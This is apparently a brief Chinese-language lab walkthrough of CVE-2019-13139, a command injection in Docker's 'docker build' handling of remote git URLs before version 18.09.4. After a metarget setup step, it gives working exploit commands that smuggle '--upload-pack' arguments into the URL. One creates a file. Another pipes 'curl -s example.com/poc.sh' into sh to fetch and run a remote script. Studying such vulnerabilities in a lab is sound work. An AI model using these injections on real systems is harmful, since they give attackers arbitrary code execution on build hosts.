docker build
命令构建本地镜像时,支持使用远程url参数作为构建环境,并且这个远程构建环境可以是一个git仓库。
在D ocker 18.9.4之前版本中,docker build
过程中对remoteUrl
解析存在缺陷,导致了remoteUrl
中的部分字符串会被作为命令执行。
漏洞环境准备:
./metarget cnv install cve-2019-13139
执行相关利用命令:
root@cloudplay:~/metarget$ docker build "[email protected]/a/b#--upload-pack=touch 13139.txt;:" #执行结果报错但不影响
root@cloudplay:~/metarget$ ls | grep 13139
13139.txt
root@cloudplay:~/metarget$ docker build "[email protected]/a/b#--upload-pack=curl -s example.com/poc.sh|sh;#:" #下载远程shell文件并执行